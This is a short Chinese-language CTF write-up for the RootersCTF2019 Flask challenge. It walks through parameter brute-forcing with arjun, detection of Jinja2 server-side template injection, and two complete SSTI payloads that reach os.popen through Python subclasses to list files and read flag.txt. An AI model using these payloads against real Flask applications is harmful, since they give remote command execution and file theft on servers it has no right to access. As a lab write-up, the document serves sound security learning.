[RootersCTF2019]I_<3_Flask
打开页面,我们寻找flask路由
扫了一下页面也没发现源码泄露,f12里也没有,我们考虑参数爆破
我们使用工具arjun进行参数爆破
1 | python3 arjun -u http://270ecd40-84d3-4667-bee9-04c7c2aeb5c2.node3.buuoj.cn/ -c 100 -d 5 |
速度慢到离谱,我们最后爆出来个参数name
我们对name进行测试
1 | ?name={{7*'7'}} |
发现为jinjia2模板注入
我们先查目录
1 | ?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}{% endif %}{% endfor %} |
我们发现flag.txt,打开它
1 | ?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat flag.txt').read()") }}{% endif %}{% endfor %} |